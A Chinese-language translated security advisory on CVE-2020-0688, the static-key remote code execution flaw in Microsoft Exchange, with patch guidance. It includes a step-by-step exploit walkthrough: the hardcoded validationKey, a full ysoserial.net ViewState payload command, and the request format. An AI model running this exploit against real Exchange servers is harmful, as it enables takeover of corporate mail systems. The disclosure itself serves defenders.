微软Exchange服务器静态密钥缺陷导致远程代码执行分析(CVE-2020-0688)
2020-02-28 11:15:23 Author: www.4hou.com(查看原文) 阅读量:302 收藏

概述

在2020年2月发布的最新微软月度补丁程序中,Microsoft发布了一个重要的补丁程序,以修复Microsoft Exchange服务器中的远程代码执行漏洞。该漏洞由一位匿名研究人员报告给我们,影响Microsoft Exchange服务器的所有受支持版本,在2月的补丁中实现修复。

视频地址:https://youtu.be/7d_HoQ0LVy8

最初,Microsoft表示该漏洞是由于内存损坏漏洞引起的,并且可以通过将特制的电子邮件发送到易受攻击的Exchange服务器的方式利用这一漏洞。此后,Microsoft已经将Write-up的内容进行修改,目前表示该漏洞是由于Exchange Server在安装时未能正确创建唯一的加密密钥所导致的。

漏洞复现过程

具体而言,该漏洞是在Exchange控制面板(ECP)组件中发现的。这一漏洞的性质非常简单。Microsoft Exchange Server不会针对每个安装随机生成密钥,而是在web.config中包含相同的validationKey和decryptionKey值。这些密钥用于为ViewState提供安全性。ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储的服务器端数据。客户端通过__VIEWSTATE请求参数将这个数据返回给服务器。

包含静态validationKey的web.config文件的摘要:

1.png

由于使用了静态密钥,经过身份验证的攻击者可以诱导服务器对精心制作的恶意ViewState数据进行反序列化。借助YSoSerial.net,攻击者可以在Exchange控制面板Web应用程序的上下文中,在服务器上执行任意.NET代码,该代码将以SYSTEM的权限运行。

要利用这个漏洞,我们需要从经过身份验证的会话中收集ViewStateUserKey和__VIEWSTATEGENERATOR值。可以从ASP.NET _SessionID Cookie中获得ViewStateUserKey,位于其中的一个隐藏字段。我们使用浏览器中的标准开发人员工具,就可以轻松得到这些信息。

首先,访问/ecp/default.aspx页面并登录。我们使用的帐户不需要具有任何特殊权限。在这里的示例中,我们使用一个名为user的帐户:

2.png

在继续下一步之前,我们需要收集一些信息。其中最关键的信息我们目前已经得到了:

validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg = SHA1

要获取ViewStateUserKey和__VIEWSTATEGENERATOR,我们可以打开“开发工具”(F12)的“网络”选项卡,然后按F5重新发送请求。在登录时,我们需要响应/ecp/default.aspx的原始请求:

3.png

如我们所见,__VIEWSTATEGENERATOR值可以直接在页面源代码中查看到。在我们的示例中,该值为B97B4E27。实际上,大家在漏洞复现中得到的值很有可能是相同的。接下来,打开“标头”选项卡,在“请求”中找到ASP.NET_SessionId Cookie:

4.png

在这个样本中,其值是05ae4b41-51e1-4c3a-9241-6b87b169d663。

现在,我们已经掌握了攻击前需要得到的所有信息:

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
--validationalg = SHA1
--generator = B97B4E27
--viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

下一步是使用ysoserial.net生成ViewState Payload。我们将通过创建文件C:\Vuln_Server.txt来生成一个Payload,以演示代码的执行情况:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

5.png

最后,我们需要对ViewState Payload进行URL编码,并按照以下的格式构造URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=< generator >&__VIEWSTATE=< ViewState >

替换生成器和上面获得的URL编码的ViewState。

然后,我们只需将结果URL粘贴到浏览器地址栏中,就可以将其提交给Exchange服务器:

6.png

服务器返回500未预期的错误,但实际攻击成功。我们可以查看对目标服务器产生的影响:

7.png

果然,文件Vuln_Server.txt目前已经存在。我们检查该文件的所有者信息,确认该文件是由具有SYSTEM token的进程创建的。

8.png

这表明,攻击者可以以SYSTEM身份执行任意代码,并能够完全破坏目标Exchange服务器。

漏洞详细分析

根据ZDI研究人员的研究结果,由于Microsoft Exchange Server安装在Web配置(web.config)的MachineKeySection中具有相同的validationKey和decryptionKey。这些密钥用于保护以序列化形式存储在ViewState中的服务器端数据,这些数据作为来自客户端请求的一部分,包含在“__VIEWSTATE”参数中。这个参数可能听上去非常熟悉,因为在最近Microsoft SQL Server Reporting Services中的一个不正确输入验证漏洞中,就涉及到通过VIEWSTATE参数序列化不受信任的数据。

要生成恶意请求,攻击者需要获取以下参数值:

validationKey(位于System.Web.Configuration)

validation(位于System.Web.Configuration)

VIEWSTATEGENERATOR(位于Exchange控制面板)

ASP.NET_SessionId(请求标头的Cookie字段)

尽管前两个参数是静态的,并且容易获得,但后两个参数要求攻击者使用有效的用户凭据登录易受攻击的ECP实例。只有这样,攻击者才能从HTML源代码和请求标头Cookie字段中捕获这些参数。

一旦攻击者获得了这些值,就可以使用ysoserial.net生成序列化的Payload,作为对易受攻击的ECP实例恶意请求中的一部分。

安全研究员Kevin Beaumont指出,攻击者如果要获取身份验证,并不是一个太大的障碍。目前网络上已经公开发布一些工具,可以从LinkedIn页面捕获员工信息,并尝试使用一些常用的凭据,在Outlook Web Access(OWA)上进行登录尝试。Beaumont表示,这些工具用于主动攻击,以获取OWA和ECP访问权限。

攻击者的漏洞利用情况

实际上,Microsoft提供了一种通过OWA和ECP的登录页面来识别Exchange Server内部版本号的方法,从而使攻击者可以识别出哪些服务器存在CVE-2020-0688漏洞。

9.png

Beaumont通过样本发现,组织修复Exchange Server实例中漏洞的频率基本上是几年才进行一次,甚至都不是几个月修复一次。

而在ZDI发布文章后不久,就有攻击者开始针对这一漏洞进行利用,尝试攻击存在漏洞的Microsoft Exchange Server。

Bad Packets首席研究官Tony Mursch在推特上说,此漏洞的大规模扫描行动已经开始。

漏洞修复方案

Microsoft在2020年2月11日发布的补丁程序中,已经提供了Microsoft Exchange Server 2010、2013、2016和2019的补丁程序。尽管未经证实,但该漏洞很可能也影响Microsoft Exchange Server 2017,该版本的支持服务在2017年4月终止。

Microsoft Exchange服务器版本和微软支持文章:

2010 Service Pack 3     https://support.microsoft.com/help/4536989

2013 Cumulative Update 23 https://support.microsoft.com/help/4536988

2016 Cumulative Update 14      https://support.microsoft.com/help/4536987

2016 Cumulative Update 15 https://support.microsoft.com/help/4536987

2019 Cumulative Update 3  https://support.microsoft.com/help/4536987

2019 Cumulative Update 4  https://support.microsoft.com/help/4536987

总结

Microsoft在2020年2月补丁中,已经修复了这个编号为CVE-2020-0688的漏洞。根据微软发布的文章,他们通过“更正Microsoft Exchange在安装过程中创建密钥的方式”来修复这个漏洞。换而言之,现在Microsoft在安装过程中已经改为对加密密钥进行随机化。针对漏洞等级,Microsoft将这个漏洞评估为“重要”(Important),这可能是因为攻击者必须首先进行身份验证。但是,应该注意的是,在企业内部环境,几乎是所有用户都具有Exchange服务器的身份验证权限。因此,任何成功攻陷设备,或获得企业中某个用户凭据的攻击者都可以接管Exchange服务器。在获取服务器权限之后,攻击者可以随意查看、泄露或伪造公司内部电子邮件通信。因此,如果您是Exchange管理员,应将其视为一个严重漏洞,在测试完成后立即进行补丁的安装。Microsoft提出的漏洞利用指数为1,这表示他们预计在补丁发出的30天之内就可以看到漏洞利用,事实上也确实如此。

我们要感谢这位匿名研究人员向ZDI报告了此漏洞,同时为这篇文章提供了许多有用信息。

各位读者可以关注推特帐户@HexKitchen,关注我们的团队以获取最新的漏洞利用技术和安全补丁。

本文翻译自:https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keyshttps://zh-cn.tenable.com/blog/cve-2020-0688-microsoft-exchange-server-static-key-flaw-could-lead-to-remote-code-execution?tns_redirect=true如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/N54v
如有侵权请联系:admin#unsafe.sh